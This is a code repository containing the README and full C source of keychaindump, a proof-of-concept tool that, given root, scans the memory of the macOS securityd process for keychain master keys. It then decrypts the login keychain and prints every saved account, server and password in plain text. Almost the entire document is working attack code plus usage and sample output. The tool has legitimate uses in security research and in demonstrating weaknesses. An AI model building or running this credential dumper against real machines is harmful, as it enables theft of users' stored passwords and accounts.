├── README.md └── keychaindump.c /README.md: -------------------------------------------------------------------------------- 1 | # keychaindump 2 | Keychaindump is a proof-of-concept tool for reading OS X keychain passwords as root. It hunts for unlocked keychain master keys located in the memory space of the securityd process, and uses them to decrypt keychain files. 3 | 4 | See the [blog post](http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain) for a much more readable description. 5 | 6 | ## How? 7 | Build instructions: 8 | 9 | $ gcc keychaindump.c -o keychaindump -lcrypto 10 | 11 | Basic usage: 12 | 13 | $ sudo ./keychaindump [path to keychain file, leave blank for default] 14 | 15 | Example with truncated and censored output: 16 | 17 | $ sudo ./keychaindump 18 | [*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000 19 | [*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000 20 | [*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000 21 | [*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000 22 | [*] Found 17 master key candidates 23 | [*] Trying to decrypt wrapping key in /Users/juusosalonen/Library/Keychains/login.keychain 24 | [*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df 25 | [*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac 26 | [*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000 27 | [*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a 28 | [+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a 29 | [+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7 30 | xxxxxxx:192.168.1.1:xxxxxxx 31 | xxxxxxx@gmail.com:login.facebook.com:xxxxxxx 32 | xxxxxxx@gmail.com:smtp.google.com:xxxxxxx 33 | xxxxxxx@gmail.com:imap.google.com:xxxxxxx 34 | xxxxxxx:twitter.com:xxxxxxx 35 | xxxxxxx@gmail.com:www.google.com:xxxxxxx 36 | xxxxxxx:imap.gmail.com:xxxxxxx 37 | ... 38 | 39 | ## Who? 40 | Keychaindump was written by [Juuso Salonen](http://twitter.com/juusosalonen), the guy behind [Radio Silence](http://radiosilenceapp.com) and [Private Eye](http://radiosilenceapp.com/private-eye). 41 | 42 | ## License 43 | Do whatever you wish. Please don't be evil. -------------------------------------------------------------------------------- /keychaindump.c: -------------------------------------------------------------------------------- 1 | // Build instructions: 2 | // $ gcc keychaindump.c -o keychaindump -lcrypto 3 | 4 | // Usage: 5 | // $ sudo ./keychaindump [path to keychain file, leave blank for default] 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | // This structure's fields are pieced together from several sources, 16 | // using the label as an identifier. See find_or_create_credentials. 17 | typedef struct t_credentials { 18 | char label[20]; 19 | char iv[8]; 20 | char key[24]; 21 | size_t ciphertext_len; 22 | char *ciphertext; 23 | char *server; 24 | char *account; 25 | char *password; 26 | } t_credentials; 27 | 28 | // Lazy limits to avoid reallocing / having to code fancy data storage. 29 | #define MAX_CREDENTIALS 2048 30 | #define MAX_MASTER_CANDIDATES 1024 31 | 32 | t_credentials *g_credentials = 0; 33 | int g_credentials_count = 0; 34 | char **g_master_candidates = 0; 35 | int g_master_candidates_count = 0; 36 | 37 | // Writes a hex representation of the bytes in src to the dst buffer. 38 | // The dst buffer must be at least len*2+1 bytes in size. 39 | void hex_string(char *dst, char *src, size_t len) { 40 | int i; 41 | for (i = 0; i < len; ++i) { 42 | sprintf(dst+i*2, "%02x", (unsigned char)src[i]); 43 | } 44 | } 45 | 46 | // Saves a 24-byte sequence that might be a valid master key in the 47 | // global list. Checks the existing list first to avoid duplicates. 48 | void add_master_candidate(char *key) { 49 | if (!g_master_candidates) { 50 | g_master_candidates = malloc(MAX_MASTER_CANDIDATES * sizeof(char *)); 51 | } 52 | 53 | // Key already known? 54 | int i; 55 | for (i = 0; i < g_master_candidates_count; ++i) { 56 | if (!memcmp(key, g_master_candidates[i], 24)) return; 57 | } 58 | 59 | if (g_master_candidates_count < MAX_MASTER_CANDIDATES) { 60 | char *new = malloc(24); 61 | memcpy(new, key, 24); 62 | g_master_candidates[g_master_candidates_count++] = new; 63 | } else { 64 | printf("[-] Too many candidate keys to fit in memory\n"); 65 | exit(1); 66 | } 67 | } 68 | 69 | // Enumerates the system's process list to find the PID of securityd. 70 | int get_securityd_pid() { 71 | int mib[] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0}; 72 | 73 | size_t sz; 74 | sysctl(mib, 4, NULL, &sz, NULL, 0); 75 | 76 | struct kinfo_proc *procs = malloc(sz); 77 | sysctl(mib, 4, procs, &sz, NULL, 0); 78 | 79 | int proc_count = sz / sizeof(struct kinfo_proc); 80 | int i, pid = 0; 81 | for (i = 0; i < proc_count; ++i) { 82 | struct kinfo_proc *proc = &procs[i]; 83 | if (!strcmp("securityd", proc->kp_proc.p_comm)) { 84 | pid = proc->kp_proc.p_pid; 85 | break; 86 | } 87 | } 88 | 89 | free(procs); 90 | return pid; 91 | } 92 | 93 | // Searches a memory range for anything that looks like a master encryption key 94 | // and stores each found candidate in the global list of possible master keys. 95 | void search_for_keys_in_task_memory(mach_port_name_t task, vm_address_t start, vm_address_t stop) { 96 | size_t sz = stop - start; 97 | char *buffer = malloc(sz); 98 | if (!buffer) { 99 | printf("[-] Could not allocate memory for key search\n"); 100 | exit(1); 101 | } 102 | 103 | size_t read_sz; 104 | 105 | kern_return_t r = vm_read_overwrite(task, start, sz, (vm_address_t)buffer, &read_sz); 106 | if (sz != read_sz) printf("[-] Requested %lu bytes, got %lu bytes\n", sz, read_sz); 107 | 108 | if (r == KERN_SUCCESS) { 109 | int i; 110 | for (i = 0; i < read_sz - sizeof(unsigned long int); i += 4) { 111 | unsigned long int *p = (unsigned long int *)(buffer + i); 112 | 113 | // Look for an 8-byte size field with value 0x18, followed by an 8-byte 114 | // pointer to the same memory range we are currently inspecting. Use 115 | // the value the pointer points to as a candidate master key. 116 | if (*p == 0x18) { 117 | vm_address_t address = *(p + 1); 118 | if (address >= start && address <= stop) { 119 | char key[24 + 1]; 120 | key[24] = 0; 121 | memcpy(key, buffer + address - start, 24); 122 | add_master_candidate(key); 123 | } 124 | } 125 | } 126 | } else { 127 | printf("[-] Error (%i) reading task memory @ %p\n", r, (void *)start); 128 | } 129 | 130 | free(buffer); 131 | } 132 | 133 | // Uses vmmap to enumerate memory ranges where the keys might be hidden 134 | // and then searches each range individually for candidate master keys. 135 | void search_for_keys_in_process(int pid) { 136 | mach_port_name_t task; 137 | task_for_pid(current_task(), pid, &task); 138 | 139 | char cmd[128]; 140 | snprintf(cmd, 128, "vmmap %i", pid); 141 | 142 | FILE *p = popen(cmd, "r"); 143 | 144 | char line[512]; 145 | vm_address_t start, stop; 146 | while (fgets(line, 512, p)) { 147 | if(sscanf(line, "MALLOC_TINY %lx-%lx", &start, &stop) == 2) { 148 | printf("[*] Searching process %i heap range 0x%lx-0x%lx\n", pid, start, stop); 149 | search_for_keys_in_task_memory(task, start, stop); 150 | } 151 | } 152 | 153 | pclose(p); 154 | } 155 | 156 | // Returns an Apple Database formatted 32-bit integer from the given address. 157 | int atom32(char *p) { 158 | return ntohl(*(int *)p); 159 | } 160 | 161 | // Returns (creates, if necessary) a credentials struct for the given label. 162 | t_credentials *find_or_create_credentials(char *label) { 163 | if (!g_credentials) { 164 | size_t sz = MAX_CREDENTIALS * sizeof(t_credentials); 165 | g_credentials = malloc(sz); 166 | memset(g_credentials, 0, sz); 167 | } 168 | 169 | int i; 170 | for (i = 0; i < g_credentials_count; ++i) { 171 | if (!memcmp(label, g_credentials[i].label, 20)) { 172 | return &g_credentials[i]; 173 | } 174 | } 175 | 176 | if (g_credentials_count < MAX_CREDENTIALS) { 177 | t_credentials *new = &g_credentials[g_credentials_count++]; 178 | memcpy(new->label, label, 20); 179 | return new; 180 | } else { 181 | printf("[-] Too many credentials to fit in memory\n"); 182 | exit(1); 183 | } 184 | } 185 | 186 | // Returns 0 for invalid padding, otherwise [1, 8]. 187 | size_t check_3des_plaintext_padding(char *plaintext, size_t len) { 188 | char pad = plaintext[len-1]; 189 | if (pad < 1 || pad > 8) return 0; 190 | 191 | int i; 192 | for (i = 1; i < pad; ++i) { 193 | if (plaintext[len-1-i] != pad) return 0; 194 | } 195 | 196 | return (size_t)pad; 197 | } 198 | 199 | // Returns 0 for invalid data, otherwise length of unpadded plaintext. 200 | // The unpadded plaintext (if valid) is written to the "out" buffer. 201 | size_t decrypt_3des(char *in, size_t len, char *out, char *key, char* iv) { 202 | DES_cblock ckey1, ckey2, ckey3, civ; 203 | DES_key_schedule ks1, ks2, ks3; 204 | 205 | memcpy(civ, iv, 8); 206 | memcpy(ckey1, &key[0], 8); 207 | memcpy(ckey2, &key[8], 8); 208 | memcpy(ckey3, &key[16], 8); 209 | DES_set_key((C_Block *)ckey1, &ks1); 210 | DES_set_key((C_Block *)ckey2, &ks2); 211 | DES_set_key((C_Block *)ckey3, &ks3); 212 | 213 | char *padded = malloc(len); 214 | DES_ede3_cbc_encrypt((unsigned char *)in, (unsigned char *)padded, len, &ks1, &ks2, &ks3, &civ, DES_DECRYPT); 215 | 216 | size_t out_len = 0; 217 | size_t padding = check_3des_plaintext_padding(padded, len); 218 | if (padding > 0) { 219 | out_len = len - padding; 220 | memcpy(out, padded, out_len); 221 | } 222 | free(padded); 223 | return out_len; 224 | } 225 | 226 | // Attempts to decrypt the file's wrapping key with the given master key. 227 | // Returns 0 if unsuccessful, 24 otherwise. The decrypted key is written 228 | // to the "out" buffer, if valid. May produce false positives, as the 229 | // 3DES padding is not a 100% reliable way to check validity. 230 | int dump_wrapping_key(char *out, char *master, char *buffer, size_t sz) { 231 | char magic[] = "\xfa\xde\x07\x11"; 232 | int offset; 233 | 234 | // Instead of parsing the keychain file, just look for the last 235 | // blob identified by the magic number and assume it is a DbBlob 236 | for (offset = sz-4; offset >= 0; offset -= 4) { 237 | if (!strncmp(magic, buffer + offset, 4)) break; 238 | } 239 | if (offset == 0) { 240 | printf("[-] Could not find DbBlob\n"); 241 | exit(1); 242 | } 243 | char *blob = buffer + offset; 244 | 245 | char iv[8]; 246 | memcpy(iv, blob + 64, 8); 247 | 248 | char key[48]; 249 | int ciphertext_offset = atom32(blob + 8); 250 | size_t key_len = decrypt_3des(blob + ciphertext_offset, 48, key, master, iv); 251 | 252 | if (!key_len) return 0; 253 | 254 | memcpy(out, key, 24); 255 | return 24; 256 | } 257 | 258 | // Decrypts the password encryption key from an individual KeyBlob into 259 | // the global credentials list. 260 | void dump_key_blob(char *key, char *blob) { 261 | int ciphertext_offset = atom32(blob + 8); 262 | int blob_len = atom32(blob + 12); 263 | char iv[8]; 264 | memcpy(iv, blob + 16, 8); 265 | 266 | // The label is actually an attribute after the KeyBlob 267 | char label[20]; 268 | memcpy(label, blob + blob_len + 8, 20); 269 | 270 | if (strncmp(label, "ssgp", 4)) return; 271 | 272 | int ciphertext_len = blob_len - ciphertext_offset; 273 | 274 | if (ciphertext_len != 48) return; 275 | 276 | // Decrypt the obfuscation IV layer 277 | char tmp[48]; 278 | char obfuscationIv[] = "\x4a\xdd\xa2\x2c\x79\xe8\x21\x05"; 279 | size_t tmp_len = decrypt_3des(blob + ciphertext_offset, 48, tmp, key, obfuscationIv); 280 | 281 | // Reverse the fist 32 bytes 282 | int i; 283 | char reverse[32]; 284 | for (i = 0; i < 32; ++i) { 285 | reverse[31 - i] = tmp[i]; 286 | } 287 | 288 | // Decrypt the real IV layer 289 | tmp_len = decrypt_3des(reverse, 32, tmp, key, iv); 290 | if (tmp_len != 28) return; 291 | 292 | // Discard the first 4 bytes 293 | t_credentials *cred = find_or_create_credentials(label); 294 | memcpy(cred->key, tmp + 4, 24); 295 | } 296 | 297 | // Extracts the encrypted password and the srvr & acct attributes from 298 | // the (probably table 8) record into the global credentials list. 299 | void dump_credentials_data(char *record) { 300 | int record_sz = atom32(record + 0); 301 | int data_sz = atom32(record + 16); 302 | 303 | // No attributes? 304 | if (record_sz == 24 + data_sz) return; 305 | 306 | int first_attribute_offset = atom32(record + 24) & 0xfffffffe; 307 | int data_offset = first_attribute_offset - data_sz; 308 | int attribute_count = (data_offset - 24) / 4; 309 | 310 | // The correct table (8) has 20 attributes 311 | if (attribute_count != 20) return; 312 | 313 | char *data = record + data_offset; 314 | 315 | size_t ciphertext_len = data_sz - 20 - 8; 316 | if (ciphertext_len < 8) return; 317 | if (ciphertext_len % 8 != 0) return; 318 | 319 | char label[20]; 320 | char iv[8]; 321 | char *ciphertext = malloc(ciphertext_len); 322 | 323 | memcpy(label, data + 0, 20); 324 | memcpy(iv, data + 20, 8); 325 | memcpy(ciphertext, data + 28, ciphertext_len); 326 | 327 | t_credentials *cred = find_or_create_credentials(label); 328 | memcpy(cred->iv, iv, 8); 329 | cred->ciphertext = ciphertext; 330 | cred->ciphertext_len = ciphertext_len; 331 | 332 | // Attributes 13 and 15 333 | int srvr_attribute_offset = atom32(record + 24 + 15*4) & 0xfffffffe; 334 | int acct_attribute_offset = atom32(record + 24 + 13*4) & 0xfffffffe; 335 | char *srvr_attribute = record + srvr_attribute_offset; 336 | char *acct_attribute = record + acct_attribute_offset; 337 | int srvr_len = atom32(srvr_attribute + 0); 338 | int acct_len = atom32(acct_attribute + 0); 339 | 340 | if (!srvr_len || !acct_len) return; 341 | 342 | char *srvr = malloc(srvr_len + 1); 343 | char *acct = malloc(acct_len + 1); 344 | memset(srvr, 0, srvr_len + 1); 345 | memset(acct, 0, acct_len + 1); 346 | memcpy(srvr, srvr_attribute + 4, srvr_len); 347 | memcpy(acct, acct_attribute + 4, acct_len); 348 | 349 | cred->server = srvr; 350 | cred->account = acct; 351 | } 352 | 353 | // Parses the keychain file (Apple Database) and traverses each record 354 | // in each table, looking for two kinds of records: KeyBlobs and 355 | // credentials data. The KeyBlobs contain encryption keys for each 356 | // individual password ciphertext. The credentials data records contain 357 | // the password ciphertexts and their IVs, as well as account and 358 | // server attributes. The KeyBlobs are probably in table 6, and the 359 | // credentials data records in table 8. 360 | void dump_keychain(char *key, char *buffer) { 361 | int i, j; 362 | 363 | if (strncmp(buffer, "kych", 4)) { 364 | printf("[-] The target file is not a keychain file\n"); 365 | return; 366 | } 367 | 368 | int schema_offset = atom32(buffer + 12); 369 | char *schema = buffer + schema_offset; 370 | 371 | // Traverse each table 372 | int table_count = atom32(schema + 4); 373 | for (i = 0; i < table_count; ++i) { 374 | int table_offset = atom32(schema + 8 + i*4); 375 | char *table = schema + table_offset; 376 | 377 | // Traverse each record 378 | int record_count = atom32(table + 8); 379 | for (j = 0; j < record_count; ++j) { 380 | int record_offset = atom32(table + 28 + j*4); 381 | char *record = table + record_offset; 382 | 383 | // Calculate the start of the data section 384 | int record_sz = atom32(record + 0); 385 | int data_sz = atom32(record + 16); 386 | int data_offset = 24; 387 | if (record_sz > 24 + data_sz) { 388 | int first_attribute_offset = atom32(record + 24) & 0xfffffffe; 389 | data_offset = first_attribute_offset - data_sz; 390 | } 391 | char *data = record + data_offset; 392 | 393 | int magic = atom32(data + 0); 394 | 395 | if (magic == 0xfade0711) { 396 | dump_key_blob(key, data); 397 | } else if (magic == 0x73736770) { 398 | dump_credentials_data(record); 399 | } 400 | } 401 | } 402 | } 403 | 404 | // Uses the information in the global credentials list to decrypt the 405 | // password ciphertexts. Each set of credentials requires its own IV, 406 | // key, and ciphertext for the decryption to work. 407 | void decrypt_credentials() { 408 | if (!g_credentials) return; 409 | 410 | int i; 411 | for (i = 0; i < g_credentials_count; ++i) { 412 | t_credentials *cred = &g_credentials[i]; 413 | if (!cred->ciphertext) continue; 414 | 415 | char *tmp = malloc(cred->ciphertext_len); 416 | size_t tmp_len = decrypt_3des(cred->ciphertext, cred->ciphertext_len, tmp, cred->key, cred->iv); 417 | if (tmp_len) { 418 | cred->password = malloc(tmp_len + 1); 419 | cred->password[tmp_len] = 0; 420 | memcpy(cred->password, tmp, tmp_len); 421 | } 422 | free(tmp); 423 | } 424 | } 425 | 426 | // Outputs all credentials in "account:server:password" format. Call 427 | // after all the data has been dumped and the passwords decrypted. 428 | void print_credentials() { 429 | if (!g_credentials) return; 430 | 431 | int i; 432 | for (i = 0; i < g_credentials_count; ++i) { 433 | t_credentials *cred = &g_credentials[i]; 434 | if (!cred->account && !cred->server) continue; 435 | if (!strcmp(cred->account, "Passwords not saved")) continue; 436 | printf("%s:%s:%s\n", cred->account, cred->server, cred->password); 437 | } 438 | } 439 | 440 | int main(int argc, char **argv) { 441 | // Phase 1. Search securityd's memory space for possible master keys. 442 | // If the keychain file is unlocked, the real key should be in memory. 443 | int pid = get_securityd_pid(); 444 | if (!pid) { 445 | printf("[-] Could not find the securityd process\n"); 446 | exit(1); 447 | } 448 | 449 | if (geteuid()) { 450 | printf("[-] No root privileges, please run with sudo\n"); 451 | exit(1); 452 | } 453 | 454 | search_for_keys_in_process(pid); 455 | 456 | printf("[*] Found %i master key candidates\n", g_master_candidates_count); 457 | 458 | if (!g_master_candidates_count) exit(1); 459 | 460 | // Phase 2. Try decrypting the wrapping key with each master key candidate 461 | // to see which one gives a valid result. 462 | char filename[512]; 463 | if (argc < 2) { 464 | sprintf(filename, "%s/Library/Keychains/login.keychain", getenv("HOME")); 465 | } else { 466 | sprintf(filename, "%s", argv[1]); 467 | } 468 | 469 | FILE *f = fopen(filename, "rb"); 470 | if (!f) { 471 | printf("[-] Could not open %s\n", filename); 472 | exit(1); 473 | } 474 | 475 | fseek(f, 0, SEEK_END); 476 | size_t sz = ftell(f); 477 | char *buffer = malloc(sz); 478 | rewind(f); 479 | fread(buffer, 1, sz, f); 480 | fclose(f); 481 | 482 | printf("[*] Trying to decrypt wrapping key in %s\n", filename); 483 | 484 | char key[24]; 485 | int i, key_len = 0; 486 | for (i = 0; i < g_master_candidates_count; ++i) { 487 | char s_key[24*2+1]; 488 | hex_string(s_key, g_master_candidates[i], 24); 489 | printf("[*] Trying master key candidate: %s\n", s_key); 490 | if (key_len = dump_wrapping_key(key, g_master_candidates[i], buffer, sz)) { 491 | printf("[+] Found master key: %s\n", s_key); 492 | break; 493 | } 494 | } 495 | if (!key_len) { 496 | printf("[-] None of the master key candidates seemed to work\n"); 497 | exit(1); 498 | } 499 | 500 | char s_key[24*2+1]; 501 | hex_string(s_key, key, 24); 502 | printf("[+] Found wrapping key: %s\n", s_key); 503 | 504 | // Phase 3. Using the wrapping key, dump all credentials from the keychain 505 | // file into the global credentials list and decrypt everything. 506 | dump_keychain(key, buffer); 507 | decrypt_credentials(); 508 | print_credentials(); 509 | 510 | free(buffer); 511 | return 0; 512 | } 513 | --------------------------------------------------------------------------------